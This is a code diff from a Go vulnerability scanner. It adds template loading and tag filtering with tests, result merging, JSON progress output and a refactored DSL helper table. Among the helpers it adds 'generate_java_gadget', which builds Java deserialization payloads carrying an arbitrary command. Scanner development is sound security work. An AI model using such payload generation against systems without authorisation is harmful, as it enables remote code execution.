+	t.Run("match-author", func(t *testing.T) {
+		config := &Config{
+			Authors: []string{"pdteam"},
+		}
+		filter := New(config)
+		matched, _ := filter.Match("fuzz", "pdteam", "low")
+		require.True(t, matched, "could not get correct match")
+	})
+	t.Run("match-severity", func(t *testing.T) {
+		config := &Config{
+			Severities: []string{"high"},
+		}
+		filter := New(config)
+		matched, _ := filter.Match("fuzz", "pdteam", "high")
+		require.True(t, matched, "could not get correct match")
+	})
+	t.Run("match-exclude-with-tags", func(t *testing.T) {
+		config := &Config{
+			Tags:        []string{"tag"},
+			ExcludeTags: []string{"another"},
+		}
+		filter := New(config)
+		matched, _ := filter.Match("another", "pdteam", "high")
+		require.False(t, matched, "could not get correct match")
+	})
+	t.Run("match-conditions", func(t *testing.T) {
+		config := &Config{
+			Authors:    []string{"pdteam"},
+			Tags:       []string{"jira"},
+			Severities: []string{"high"},
+		}
+		filter := New(config)
+		matched, _ := filter.Match("jira", "pdteam", "high")
+		require.True(t, matched, "could not get correct match")
+		matched, _ = filter.Match("jira", "pdteam", "low")
+		require.False(t, matched, "could not get correct match")
+		matched, _ = filter.Match("jira", "random", "low")
+		require.False(t, matched, "could not get correct match")
+		matched, _ = filter.Match("consul", "random", "low")
+		require.False(t, matched, "could not get correct match")
+	})
+}

v2/pkg/catalog/loader/load/load.go

@@ -0,0 +1,100 @@
+package load
+
+import (
+	"bytes"
+	"errors"
+	"io/ioutil"
+	"os"
+	"strings"
+
+	"github.com/projectdiscovery/nuclei/v2/pkg/catalog/loader/filter"
+	"github.com/projectdiscovery/nuclei/v2/pkg/types"
+	"gopkg.in/yaml.v2"
+)
+
+// Load loads a template by parsing metadata and running
+// all tag and path based filters on the template.
+func Load(templatePath string, workflow bool, customTags []string, tagFilter *filter.TagFilter) (bool, error) {
+	f, err := os.Open(templatePath)
+	if err != nil {
+		return false, err
+	}
+	defer f.Close()
+
+	data, err := ioutil.ReadAll(f)
+	if err != nil {
+		return false, err
+	}
+
+	template := make(map[string]interface{})
+	err = yaml.NewDecoder(bytes.NewReader(data)).Decode(template)
+	if err != nil {
+		return false, err
+	}
+
+	info, ok := template["info"]
+	if !ok {
+		return false, errors.New("no template info field provided")
+	}
+	infoMap, ok := info.(map[interface{}]interface{})
+	if !ok {
+		return false, errors.New("could not get info")
+	}
+
+	if _, nameOk := infoMap["name"]; !nameOk {
+		return false, errors.New("no template name field provided")
+	}
+	author, ok := infoMap["author"]
+	if !ok {
+		return false, errors.New("no template author field provided")
+	}
+	severity, ok := infoMap["severity"]
+	if !ok {
+		severity = ""
+	}
+
+	templateTags, ok := infoMap["tags"]
+	if !ok {
+		templateTags = ""
+	}
+	tagStr := types.ToString(templateTags)
+
+	tags := strings.Split(tagStr, ",")
+	severityStr := strings.ToLower(types.ToString(severity))
+	authors := strings.Split(types.ToString(author), ",")
+
+	matched := false
+
+	_, workflowsFound := template["workflows"]
+	if !workflowsFound && workflow {
+		return false, nil
+	}
+	if workflow {
+		return true, nil
+	}
+	for _, tag := range tags {
+		for _, author := range authors {
+			var match bool
+			var err error
+
+			if len(customTags) == 0 {
+				match, err = tagFilter.Match(strings.ToLower(strings.TrimSpace(tag)), strings.ToLower(strings.TrimSpace(author)), severityStr)
+			} else {
+				match, err = tagFilter.MatchWithAllowedTags(customTags, strings.ToLower(strings.TrimSpace(tag)), strings.ToLower(strings.TrimSpace(author)), severityStr)
+			}
+			if err == filter.ErrExcluded {
+				return false, filter.ErrExcluded
+			}
+			if !matched && match {
+				matched = true
+			}
+		}
+	}
+	if !matched {
+		return false, nil
+	}
+	if workflowsFound && !workflow {
+		return false, nil
+	}
+	return true, nil
+}

v2/pkg/catalog/loader/loader.go

@@ -0,0 +1,202 @@
+package loader
+
+import (
+	"strings"
+
+	"github.com/projectdiscovery/gologger"
+	"github.com/projectdiscovery/nuclei/v2/pkg/catalog"
+	"github.com/projectdiscovery/nuclei/v2/pkg/catalog/loader/filter"
+	"github.com/projectdiscovery/nuclei/v2/pkg/catalog/loader/load"
+	"github.com/projectdiscovery/nuclei/v2/pkg/protocols"
+	"github.com/projectdiscovery/nuclei/v2/pkg/templates"
+)
+
+// Config contains the configuration options for the loader
+type Config struct {
+	Templates        []string
+	Workflows        []string
+	ExcludeTemplates []string
+	IncludeTemplates []string
+
+	Tags        []string
+	ExcludeTags []string
+	Authors     []string
+	Severities  []string
+	IncludeTags []string
+
+	Catalog            *catalog.Catalog
+	ExecutorOptions    protocols.ExecuterOptions
+	TemplatesDirectory string
+}
+
+// Store is a storage for loaded nuclei templates
+type Store struct {
+	tagFilter      *filter.TagFilter
+	pathFilter     *filter.PathFilter
+	config         *Config
+	finalTemplates []string
+
+	templates []*templates.Template
+	workflows []*templates.Template
+
+	preprocessor templates.Preprocessor
+}
+
+// New creates a new template store based on provided configuration
+func New(config *Config) (*Store, error) {
+	// Create a tag filter based on provided configuration
+	store := &Store{
+		config: config,
+		tagFilter: filter.New(&filter.Config{
+			Tags:        config.Tags,
+			ExcludeTags: config.ExcludeTags,
+			Authors:     config.Authors,
+			Severities:  config.Severities,
+			IncludeTags: config.IncludeTags,
+		}),
+		pathFilter: filter.NewPathFilter(&filter.PathFilterConfig{
+			IncludedTemplates: config.IncludeTemplates,
+			ExcludedTemplates: config.ExcludeTemplates,
+		}, config.Catalog),
+	}
+
+	// Handle a case with no templates or workflows, where we use base directory
+	if len(config.Templates) == 0 && len(config.Workflows) == 0 {
+		config.Templates = append(config.Templates, config.TemplatesDirectory)
+	}
+	store.finalTemplates = append(store.finalTemplates, config.Templates...)
+	return store, nil
+}
+
+// Templates returns all the templates in the store
+func (s *Store) Templates() []*templates.Template {
+	return s.templates
+}
+
+// Workflows returns all the workflows in the store
+func (s *Store) Workflows() []*templates.Template {
+	return s.workflows
+}
+
+// RegisterPreprocessor allows a custom preprocessor to be passed to the store to run against templates
+func (s *Store) RegisterPreprocessor(preprocessor templates.Preprocessor) {
+	s.preprocessor = preprocessor
+}
+
+// Load loads all the templates from a store, performs filtering and returns
+// the complete compiled templates for a nuclei execution configuration.
+func (s *Store) Load() {
+	s.templates = s.LoadTemplates(s.finalTemplates)
+	s.workflows = s.LoadWorkflows(s.config.Workflows)
+}
+
+// ValidateTemplates takes a list of templates and validates them
+// erroring out on discovering any faulty templates.
+func (s *Store) ValidateTemplates(templatesList, workflowsList []string) bool {
+	includedTemplates := s.config.Catalog.GetTemplatesPath(templatesList)
+	includedWorkflows := s.config.Catalog.GetTemplatesPath(workflowsList)
+	templatesMap := s.pathFilter.Match(includedTemplates)
+	workflowsMap := s.pathFilter.Match(includedWorkflows)
+
+	notErrored := true
+	for k := range templatesMap {
+		_, err := s.loadTemplate(k, false)
+		if err != nil {
+			if strings.Contains(err.Error(), "cannot create template executer") {
+				continue
+			}
+			if err == filter.ErrExcluded {
+				continue
+			}
+			notErrored = false
+			gologger.Error().Msgf("Error occurred loading template %s: %s\n", k, err)
+			continue
+		}
+		_, err = templates.Parse(k, s.preprocessor, s.config.ExecutorOptions)
+		if err != nil {
+			if strings.Contains(err.Error(), "cannot create template executer") {
+				continue
+			}
+			if err == filter.ErrExcluded {
+				continue
+			}
+			notErrored = false
+			gologger.Error().Msgf("Error occurred parsing template %s: %s\n", k, err)
+		}
+	}
+	for k := range workflowsMap {
+		_, err := s.loadTemplate(k, true)
+		if err != nil {
+			if strings.Contains(err.Error(), "cannot create template executer") {
+				continue
+			}
+			if err == filter.ErrExcluded {
+				continue
+			}
+			notErrored = false
+			gologger.Error().Msgf("Error occurred loading workflow %s: %s\n", k, err)
+		}
+		_, err = templates.Parse(k, s.preprocessor, s.config.ExecutorOptions)
+		if err != nil {
+			if strings.Contains(err.Error(), "cannot create template executer") {
+				continue
+			}
+			if err == filter.ErrExcluded {
+				continue
+			}
+			notErrored = false
+			gologger.Error().Msgf("Error occurred parsing workflow %s: %s\n", k, err)
+		}
+	}
+	return notErrored
+}
+
+// LoadTemplates takes a list of templates and returns paths for them
+func (s *Store) LoadTemplates(templatesList []string) []*templates.Template {
+	includedTemplates := s.config.Catalog.GetTemplatesPath(templatesList)
+	templatesMap := s.pathFilter.Match(includedTemplates)
+
+	loadedTemplates := make([]*templates.Template, 0, len(templatesMap))
+	for k := range templatesMap {
+		loaded, err := s.loadTemplate(k, false)
+		if err != nil {
+			gologger.Warning().Msgf("Could not load template %s: %s\n", k, err)
+		}
+		if loaded {
+			parsed, err := templates.Parse(k, s.preprocessor, s.config.ExecutorOptions)
+			if err != nil {
+				gologger.Warning().Msgf("Could not parse template %s: %s\n", k, err)
+			} else if parsed != nil {
+				loadedTemplates = append(loadedTemplates, parsed)
+			}
+		}
+	}
+	return loadedTemplates
+}
+
+// LoadWorkflows takes a list of workflows and returns paths for them
+func (s *Store) LoadWorkflows(workflowsList []string) []*templates.Template {
+	includedWorkflows := s.config.Catalog.GetTemplatesPath(s.config.Workflows)
+	workflowsMap := s.pathFilter.Match(includedWorkflows)
+
+	loadedWorkflows := make([]*templates.Template, 0, len(workflowsMap))
+	for k := range workflowsMap {
+		loaded, err := s.loadTemplate(k, true)
+		if err != nil {
+			gologger.Warning().Msgf("Could not load workflow %s: %s\n", k, err)
+		}
+		if loaded {
+			parsed, err := templates.Parse(k, s.preprocessor, s.config.ExecutorOptions)
+			if err != nil {
+				gologger.Warning().Msgf("Could not parse workflow %s: %s\n", k, err)
+			} else if parsed != nil {
+				loadedWorkflows = append(loadedWorkflows, parsed)
+			}
+		}
+	}
+	return loadedWorkflows
+}
+
+func (s *Store) loadTemplate(templatePath string, workflow bool) (bool, error) {
+	return load.Load(templatePath, workflow, nil, s.tagFilter)
+}

v2/pkg/catalog/loader/loader_test.go

@@ -0,0 +1,40 @@
+package loader
+
+import (
+	"testing"
+
+	"github.com/stretchr/testify/require"
+)
+
+func TestLoadTemplates(t *testing.T) {
+	store, err := New(&Config{
+		Templates: []string{"cves/CVE-2021-21315.yaml"},
+	})
+	require.Nil(t, err, "could not load templates")
+	require.Equal(t, []string{"cves/CVE-2021-21315.yaml"}, store.finalTemplates, "could not get correct templates")
+
+	templatesDirectory := "/test"
+	t.Run("blank", func(t *testing.T) {
+		store, err := New(&Config{
+			TemplatesDirectory: templatesDirectory,
+		})
+		require.Nil(t, err, "could not load templates")
+		require.Equal(t, []string{templatesDirectory}, store.finalTemplates, "could not get correct templates")
+	})
+	t.Run("only-tags", func(t *testing.T) {
+		store, err := New(&Config{
+			Tags:               []string{"cves"},
+			TemplatesDirectory: templatesDirectory,
+		})
+		require.Nil(t, err, "could not load templates")
+		require.Equal(t, []string{templatesDirectory}, store.finalTemplates, "could not get correct templates")
+	})
+	t.Run("tags-with-path", func(t *testing.T) {
+		store, err := New(&Config{
+			Tags:               []string{"cves"},
+			TemplatesDirectory: templatesDirectory,
+		})
+		require.Nil(t, err, "could not load templates")
+		require.Equal(t, []string{templatesDirectory}, store.finalTemplates, "could not get correct templates")
+	})
+}

v2/pkg/operators/common/dsl/dsl.go

@@ -1,12 +1,12 @@
 package dsl
 
 import (
-	"bytes"
 	"crypto/md5"
 	"crypto/sha1"
 	"crypto/sha256"
 	"encoding/base64"
 	"encoding/hex"
+	"errors"
 	"fmt"
 	"html"
 	"math"
@@ -17,7 +17,7 @@ import (
 	"time"
 
 	"github.com/Knetic/govaluate"
-	"github.com/projectdiscovery/nuclei/v2/internal/collaborator"
+	"github.com/projectdiscovery/nuclei/v2/pkg/protocols/common/helpers/deserialization"
 	"github.com/projectdiscovery/nuclei/v2/pkg/types"
 	"github.com/spaolacci/murmur3"
 )
@@ -30,113 +30,88 @@ const (
 	withMaxRandArgsSize  = withCutSetArgsSize
 )
 
-// HelperFunctions contains the dsl helper functions
-func HelperFunctions() map[string]govaluate.ExpressionFunction {
-	functions := make(map[string]govaluate.ExpressionFunction)
-
-	functions["len"] = func(args ...interface{}) (interface{}, error) {
+var functions = map[string]govaluate.ExpressionFunction{
+	"len": func(args ...interface{}) (interface{}, error) {
 		length := len(types.ToString(args[0]))
 		return float64(length), nil
-	}
-
-	functions["toupper"] = func(args ...interface{}) (interface{}, error) {
+	},
+	"toupper": func(args ...interface{}) (interface{}, error) {
 		return strings.ToUpper(types.ToString(args[0])), nil
-	}
-
-	functions["tolower"] = func(args ...interface{}) (interface{}, error) {
+	},
+	"tolower": func(args ...interface{}) (interface{}, error) {
 		return strings.ToLower(types.ToString(args[0])), nil
-	}
-
-	functions["replace"] = func(args ...interface{}) (interface{}, error) {
+	},
+	"replace": func(args ...interface{}) (interface{}, error) {
 		return strings.ReplaceAll(types.ToString(args[0]), types.ToString(args[1]), types.ToString(args[2])), nil
-	}
-
-	functions["replace_regex"] = func(args ...interface{}) (interface{}, error) {
+	},
+	"replace_regex": func(args ...interface{}) (interface{}, error) {
 		compiled, err := regexp.Compile(types.ToString(args[1]))
 		if err != nil {
 			return nil, err
 		}
 		return compiled.ReplaceAllString(types.ToString(args[0]), types.ToString(args[2])), nil
-	}
-
-	functions["trim"] = func(args ...interface{}) (interface{}, error) {
+	},
+	"trim": func(args ...interface{}) (interface{}, error) {
 		return strings.Trim(types.ToString(args[0]), types.ToString(args[2])), nil
-	}
-
-	functions["trimleft"] = func(args ...interface{}) (interface{}, error) {
+	},
+	"trimleft": func(args ...interface{}) (interface{}, error) {
 		return strings.TrimLeft(types.ToString(args[0]), types.ToString(args[1])), nil
-	}
-
-	functions["trimright"] = func(args ...interface{}) (interface{}, error) {
+	},
+	"trimright": func(args ...interface{}) (interface{}, error) {
 		return strings.TrimRight(types.ToString(args[0]), types.ToString(args[1])), nil
-	}
-
-	functions["trimspace"] = func(args ...interface{}) (interface{}, error) {
+	},
+	"trimspace": func(args ...interface{}) (interface{}, error) {
 		return strings.TrimSpace(types.ToString(args[0])), nil
-	}
-
-	functions["trimprefix"] = func(args ...interface{}) (interface{}, error) {
+	},
+	"trimprefix": func(args ...interface{}) (interface{}, error) {
 		return strings.TrimPrefix(types.ToString(args[0]), types.ToString(args[1])), nil
-	}
-
-	functions["trimsuffix"] = func(args ...interface{}) (interface{}, error) {
+	},
+	"trimsuffix": func(args ...interface{}) (interface{}, error) {
 		return strings.TrimSuffix(types.ToString(args[0]), types.ToString(args[1])), nil
-	}
-
-	functions["reverse"] = func(args ...interface{}) (interface{}, error) {
+	},
+	"reverse": func(args ...interface{}) (interface{}, error) {
 		return reverseString(types.ToString(args[0])), nil
-	}
-
+	},
 	// encoding
-	functions["base64"] = func(args ...interface{}) (interface{}, error) {
+	"base64": func(args ...interface{}) (interface{}, error) {
 		sEnc := base64.StdEncoding.EncodeToString([]byte(types.ToString(args[0])))
 
 		return sEnc, nil
-	}
-
+	},
 	// python encodes to base64 with lines of 76 bytes terminated by new line "\n"
-	functions["base64_py"] = func(args ...interface{}) (interface{}, error) {
+	"base64_py": func(args ...interface{}) (interface{}, error) {
 		sEnc := base64.StdEncoding.EncodeToString([]byte(types.ToString(args[0])))
-		return insertInto(sEnc, 76, '\n'), nil
-	}
-
-	functions["base64_decode"] = func(args ...interface{}) (interface{}, error) {
+		return deserialization.InsertInto(sEnc, 76, '\n'), nil
+	},
+	"base64_decode": func(args ...interface{}) (interface{}, error) {
 		return base64.StdEncoding.DecodeString(types.ToString(args[0]))
-	}
-
-	functions["url_encode"] = func(args ...interface{}) (interface{}, error) {
+	},
+	"url_encode": func(args ...interface{}) (interface{}, error) {
 		return url.PathEscape(types.ToString(args[0])), nil
-	}
-
-	functions["url_decode"] = func(args ...interface{}) (interface{}, error) {
+	},
+	"url_decode": func(args ...interface{}) (interface{}, error) {
 		return url.PathUnescape(types.ToString(args[0]))
-	}
-
-	functions["hex_encode"] = func(args ...interface{}) (interface{}, error) {
+	},
+	"hex_encode": func(args ...interface{}) (interface{}, error) {
 		return hex.EncodeToString([]byte(types.ToString(args[0]))), nil
-	}
-
-	functions["hex_decode"] = func(args ...interface{}) (interface{}, error) {
+	},
+	"hex_decode": func(args ...interface{}) (interface{}, error) {
 		hx, _ := hex.DecodeString(types.ToString(args[0]))
 		return string(hx), nil
-	}
-
-	functions["html_escape"] = func(args ...interface{}) (interface{}, error) {
+	},
+	"html_escape": func(args ...interface{}) (interface{}, error) {
 		return html.EscapeString(types.ToString(args[0])), nil
-	}
-
-	functions["html_unescape"] = func(args ...interface{}) (interface{}, error) {
+	},
+	"html_unescape": func(args ...interface{}) (interface{}, error) {
 		return html.UnescapeString(types.ToString(args[0])), nil
-	}
-
+	},
 	// hashing
-	functions["md5"] = func(args ...interface{}) (interface{}, error) {
+	"md5": func(args ...interface{}) (interface{}, error) {
 		hash := md5.Sum([]byte(types.ToString(args[0])))
 
 		return hex.EncodeToString(hash[:]), nil
-	}
-
-	functions["sha256"] = func(args ...interface{}) (interface{}, error) {
+	},
+	"sha256": func(args ...interface{}) (interface{}, error) {
 		h := sha256.New()
 		_, err := h.Write([]byte(types.ToString(args[0])))
 
@@ -144,9 +119,8 @@ func HelperFunctions() map[string]govaluate.ExpressionFunction {
 			return nil, err
 		}
 		return hex.EncodeToString(h.Sum(nil)), nil
-	}
-
-	functions["sha1"] = func(args ...interface{}) (interface{}, error) {
+	},
+	"sha1": func(args ...interface{}) (interface{}, error) {
 		h := sha1.New()
 		_, err := h.Write([]byte(types.ToString(args[0])))
 
@@ -154,27 +128,23 @@ func HelperFunctions() map[string]govaluate.ExpressionFunction {
 			return nil, err
 		}
 		return hex.EncodeToString(h.Sum(nil)), nil
-	}
-
-	functions["mmh3"] = func(args ...interface{}) (interface{}, error) {
+	},
+	"mmh3": func(args ...interface{}) (interface{}, error) {
 		return fmt.Sprintf("%d", int32(murmur3.Sum32WithSeed([]byte(types.ToString(args[0])), 0))), nil
-	}
-
+	},
 	// search
-	functions["contains"] = func(args ...interface{}) (interface{}, error) {
+	"contains": func(args ...interface{}) (interface{}, error) {
 		return strings.Contains(types.ToString(args[0]), types.ToString(args[1])), nil
-	}
-
-	functions["regex"] = func(args ...interface{}) (interface{}, error) {
+	},
+	"regex": func(args ...interface{}) (interface{}, error) {
 		compiled, err := regexp.Compile(types.ToString(args[0]))
 		if err != nil {
 			return nil, err
 		}
 		return compiled.MatchString(types.ToString(args[1])), nil
-	}
-
+	},
 	// random generators
-	functions["rand_char"] = func(args ...interface{}) (interface{}, error) {
+	"rand_char": func(args ...interface{}) (interface{}, error) {
 		chars := letters + numbers
 		bad := ""
 		if len(args) >= 1 {
@@ -185,9 +155,8 @@ func HelperFunctions() map[string]govaluate.ExpressionFunction {
 		}
 		chars = trimAll(chars, bad)
 		return chars[rand.Intn(len(chars))], nil
-	}
-
-	functions["rand_base"] = func(args ...interface{}) (interface{}, error) {
+	},
+	"rand_base": func(args ...interface{}) (interface{}, error) {
 		l := 0
 		bad := ""
 		base := letters + numbers
@@ -203,9 +172,8 @@ func HelperFunctions() map[string]govaluate.ExpressionFunction {
 		}
 		base = trimAll(base, bad)
 		return randSeq(base, l), nil
-	}
-
-	functions["rand_text_alphanumeric"] = func(args ...interface{}) (interface{}, error) {
+	},
+	"rand_text_alphanumeric": func(args ...interface{}) (interface{}, error) {
 		l := 0
 		bad := ""
 		chars := letters + numbers
@@ -218,9 +186,8 @@ func HelperFunctions() map[string]govaluate.ExpressionFunction {
 		}
 		chars = trimAll(chars, bad)
 		return randSeq(chars, l), nil
-	}
-
-	functions["rand_text_alpha"] = func(args ...interface{}) (interface{}, error) {
+	},
+	"rand_text_alpha": func(args ...interface{}) (interface{}, error) {
 		l := 0
 		bad := ""
 		chars := letters
@@ -233,9 +200,8 @@ func HelperFunctions() map[string]govaluate.ExpressionFunction {
 		}
 		chars = trimAll(chars, bad)
 		return randSeq(chars, l), nil
-	}
-
-	functions["rand_text_numeric"] = func(args ...interface{}) (interface{}, error) {
+	},
+	"rand_text_numeric": func(args ...interface{}) (interface{}, error) {
 		l := 0
 		bad := ""
 		chars := numbers
@@ -248,9 +214,8 @@ func HelperFunctions() map[string]govaluate.ExpressionFunction {
 		}
 		chars = trimAll(chars, bad)
 		return randSeq(chars, l), nil
-	}
-
-	functions["rand_int"] = func(args ...interface{}) (interface{}, error) {
+	},
+	"rand_int": func(args ...interface{}) (interface{}, error) {
 		min := 0
 		max := math.MaxInt32
 
@@ -261,23 +226,41 @@ func HelperFunctions() map[string]govaluate.ExpressionFunction {
 			max = args[1].(int)
 		}
 		return rand.Intn(max-min) + min, nil
-	}
-
+	},
 	// Time Functions
-	functions["waitfor"] = func(args ...interface{}) (interface{}, error) {
+	"waitfor": func(args ...interface{}) (interface{}, error) {
 		seconds := args[0].(float64)
 		time.Sleep(time.Duration(seconds) * time.Second)
 		return true, nil
-	}
+	},
+	// deserialization Functions
+	"generate_java_gadget": func(args ...interface{}) (interface{}, error) {
+		gadget := args[0].(string)
+		cmd := args[1].(string)
 
-	// Collaborator
-	functions["collab"] = func(args ...interface{}) (interface{}, error) {
-		// check if collaborator contains a specific pattern
-		return collaborator.DefaultCollaborator.Has(types.ToString(args[0])), nil
-	}
+		var encoding string
+		if len(args) > 2 {
+			encoding = args[2].(string)
+		}
+		data := deserialization.GenerateJavaGadget(gadget, cmd, encoding)
+		return data, nil
+	},
+}
+
+// HelperFunctions returns the dsl helper functions
+func HelperFunctions() map[string]govaluate.ExpressionFunction {
 	return functions
 }
 
+// AddHelperFunction allows creation of additiona helper functions to be supported with templates
+func AddHelperFunction(key string, value func(args ...interface{}) (interface{}, error)) error {
+	if _, ok := functions[key]; !ok {
+		functions[key] = value
+		return nil
+	}
+	return errors.New("duplicate helper function key defined")
+}
+
 func reverseString(s string) string {
 	runes := []rune(s)
 	for i, j := 0, len(runes)-1; i < j; i, j = i+1, j-1 {
@@ -300,17 +283,3 @@ func randSeq(base string, n int) string {
 	}
 	return string(b)
 }
-
-func insertInto(s string, interval int, sep rune) string {
-	var buffer bytes.Buffer
-	before := interval - 1
-	last := len(s) - 1
-	for i, char := range s {
-		buffer.WriteRune(char)
-		if i%interval == before && i != last {
-			buffer.WriteRune(sep)
-		}
-	}
-	buffer.WriteRune(sep)
-	return buffer.String()
-}

v2/pkg/operators/operators.go

@@ -65,6 +65,30 @@ type Result struct {
 	PayloadValues map[string]interface{}
 }
 
+// Merge merges a result structure into the other.
+func (r *Result) Merge(result *Result) {
+	if !r.Matched && result.Matched {
+		r.Matched = result.Matched
+	}
+	if !r.Extracted && result.Extracted {
+		r.Extracted = result.Extracted
+	}
+
+	for k, v := range result.Matches {
+		r.Matches[k] = v
+	}
+	for k, v := range result.Extracts {
+		r.Extracts[k] = v
+	}
+	r.OutputExtracts = append(r.OutputExtracts, result.OutputExtracts...)
+	for k, v := range result.DynamicValues {
+		r.DynamicValues[k] = v
+	}
+	for k, v := range result.PayloadValues {
+		r.PayloadValues[k] = v
+	}
+}
+
 // MatchFunc performs matching operation for a matcher on model and returns true or false.
 type MatchFunc func(data map[string]interface{}, matcher *matchers.Matcher) bool
 
@@ -81,6 +105,7 @@ func (r *Operators) Execute(data map[string]interface{}, match MatchFunc, extrac
 		Extracts:      make(map[string][]string),
 		DynamicValues: make(map[string]interface{}),
 	}
+
 	// Start with the extractors first and evaluate them.
 	for _, extractor := range r.Extractors {
 		var extractorResults []string
@@ -137,3 +162,21 @@ func (r *Operators) Execute(data map[string]interface{}, match MatchFunc, extrac
 	}
 	return nil, false
 }
+
+// ExecuteInternalExtractors executes internal dynamic extractors
+func (r *Operators) ExecuteInternalExtractors(data map[string]interface{}, extract ExtractFunc) map[string]interface{} {
+	dynamicValues := make(map[string]interface{})
+
+	// Start with the extractors first and evaluate them.
+	for _, extractor := range r.Extractors {
+		if !extractor.Internal {
+			continue
+		}
+		for match := range extract(data, extractor) {
+			if _, ok := dynamicValues[extractor.Name]; !ok {
+				dynamicValues[extractor.Name] = match
+			}
+		}
+	}
+	return dynamicValues
+}

v2/pkg/output/format_screen.go

@@ -54,7 +54,7 @@ func (w *StandardWriter) formatScreen(output *ResultEvent) []byte {
 	if len(output.Metadata) > 0 {
 		builder.WriteString(" [")
 
-		var first bool = true
+		first := true
 		for name, value := range output.Metadata {
 			if !first {
 				builder.WriteRune(',')

v2/pkg/output/output.go

@@ -9,6 +9,7 @@ import (
 	jsoniter "github.com/json-iterator/go"
 	"github.com/logrusorgru/aurora"
 	"github.com/pkg/errors"
+	"github.com/projectdiscovery/interactsh/pkg/server"
 	"github.com/projectdiscovery/nuclei/v2/internal/colorizer"
 	"github.com/projectdiscovery/nuclei/v2/pkg/operators"
 )
@@ -53,6 +54,8 @@ type InternalWrappedEvent struct {
 type ResultEvent struct {
 	// TemplateID is the ID of the template for the result.
 	TemplateID string `json:"templateID"`
+	// TemplatePath is the path of template
+	TemplatePath string `json:"-"`
 	// Info contains information block of the template for the result.
 	Info map[string]interface{} `json:"info,inline"`
 	// MatcherName is the name of the matcher matched if any.
@@ -79,6 +82,10 @@ type ResultEvent struct {
 	IP string `json:"ip,omitempty"`
 	// Timestamp is the time the result was found at.
 	Timestamp time.Time `json:"timestamp"`
+	// Interaction is the full details of interactsh interaction.
+	Interaction *server.Interaction `json:"interaction,omitempty"`
+
+	FileToIndexPosition map[string]int `json:"-"`
 }
 
 // NewStandardWriter creates a new output writer based on user configurations

v2/pkg/progress/progress.go

@@ -6,6 +6,7 @@ import (
 	"fmt"
 	"net"
 	"net/http"
+	"os"
 	"strconv"
 	"strings"
 	"time"
@@ -39,13 +40,14 @@ var _ Progress = &StatsTicker{}
 // StatsTicker is a progress instance for showing program stats
 type StatsTicker struct {
 	active       bool
-	tickDuration time.Duration
-	stats        clistats.StatisticsClient
+	outputJSON   bool
 	server       *http.Server
+	stats        clistats.StatisticsClient
+	tickDuration time.Duration
 }
 
 // NewStatsTicker creates and returns a new progress tracking object.
-func NewStatsTicker(duration int, active, metrics bool, port int) (Progress, error) {
+func NewStatsTicker(duration int, active, outputJSON, metrics bool, port int) (Progress, error) {
 	var tickDuration time.Duration
 	if active {
 		tickDuration = time.Duration(duration) * time.Second
@@ -62,6 +64,7 @@ func NewStatsTicker(duration int, active, metrics bool, port int) (Progress, err
 	progress.active = active
 	progress.stats = stats
 	progress.tickDuration = tickDuration
+	progress.outputJSON = outputJSON
 
 	if metrics {
 		http.HandleFunc("/metrics", func(w http.ResponseWriter, req *http.Request) {
@@ -92,7 +95,13 @@ func (p *StatsTicker) Init(hostCount int64, rulesCount int, requestCount int64)
 	p.stats.AddCounter("total", uint64(requestCount))
 
 	if p.active {
-		if err := p.stats.Start(printCallback, p.tickDuration); err != nil {
+		var printCallbackFunc clistats.PrintCallback
+		if p.outputJSON {
+			printCallbackFunc = printCallbackJSON
+		} else {
+			printCallbackFunc = printCallback
+		}
+		if err := p.stats.Start(printCallbackFunc, p.tickDuration); err != nil {
 			gologger.Warning().Msgf("Couldn't start statistics: %s", err)
 		}
 	}
@@ -167,30 +176,35 @@ func printCallback(stats clistats.StatisticsClient) {
 	builder.WriteRune(')')
 	builder.WriteRune('\n')
 
-	gologger.Print().Msgf("%s", builder.String())
+	fmt.Fprintf(os.Stderr, "%s", builder.String())
 }
 
-// getMetrics returns a map of important metrics for client
-func (p *StatsTicker) getMetrics() map[string]interface{} {
+func printCallbackJSON(stats clistats.StatisticsClient) {
+	builder := &strings.Builder{}
+	_ = json.NewEncoder(builder).Encode(metricsMap(stats))
+	fmt.Fprintf(os.Stderr, "%s", builder.String())
+}
+
+func metricsMap(stats clistats.StatisticsClient) map[string]interface{} {
 	results := make(map[string]interface{})
 
-	startedAt, _ := p.stats.GetStatic("startedAt")
+	startedAt, _ := stats.GetStatic("startedAt")
 	duration := time.Since(startedAt.(time.Time))
 
 	results["startedAt"] = startedAt.(time.Time)
 	results["duration"] = fmtDuration(duration)
-	templates, _ := p.stats.GetStatic("templates")
+	templates, _ := stats.GetStatic("templates")
 	results["templates"] = clistats.String(templates)
-	hosts, _ := p.stats.GetStatic("hosts")
+	hosts, _ := stats.GetStatic("hosts")
 	results["hosts"] = clistats.String(hosts)
-	matched, _ := p.stats.GetCounter("matched")
+	matched, _ := stats.GetCounter("matched")
 	results["matched"] = clistats.String(matched)
-	requests, _ := p.stats.GetCounter("requests")
+	requests, _ := stats.GetCounter("requests")
 	results["requests"] = clistats.String(requests)
-	total, _ := p.stats.GetCounter("total")
+	total, _ := stats.GetCounter("total")
 	results["total"] = clistats.String(total)
 	results["rps"] = clistats.String(uint64(float64(requests) / duration.Seconds()))
-	errors, _ := p.stats.GetCounter("errors")
+	errors, _ := stats.GetCounter("errors")
 	results["errors"] = clistats.String(errors)
 
 	//nolint:gomnd // this is not a magic number
@@ -200,6 +214,11 @@ func (p *StatsTicker) getMetrics() map[string]interface{} {
 	return results
 }
 
+// getMetrics returns a map of important metrics for client
+func (p *StatsTicker) getMetrics() map[string]interface{} {
+	return metricsMap(p.stats)
+}
+
 // fmtDuration formats the duration for the time elapsed
 func fmtDuration(d time.Duration) string {
 	d = d.Round(time.Second)
@@ -215,7 +234,11 @@ func fmtDuration(d time.Duration) string {
 func (p *StatsTicker) Stop() {
 	if p.active {
 		// Print one final summary
-		printCallback(p.stats)
+		if p.outputJSON {
+			printCallbackJSON(p.stats)
+		} else {
+			printCallback(p.stats)
+		}
 		if err := p.stats.Stop(); err != nil {
 			gologger.Warning().Msgf("Couldn't stop statistics: %s", err)
 		}

v2/pkg/protocols/common/clusterer/executer.go

@@ -22,6 +22,7 @@ type Executer struct {
 
 type clusteredOperator struct {
 	templateID   string
+	templatePath string
 	templateInfo map[string]interface{}
 	operator     *operators.Operators
 }
@@ -38,6 +39,7 @@ func NewExecuter(requests []*templates.Template, options *protocols.ExecuterOpti
 		executer.operators = append(executer.operators, &clusteredOperator{
 			templateID:   req.ID,
 			templateInfo: req.Info,
+			templatePath: req.Path,
 			operator:     req.RequestsHTTP[0].CompiledOperators,
 		})
 	}
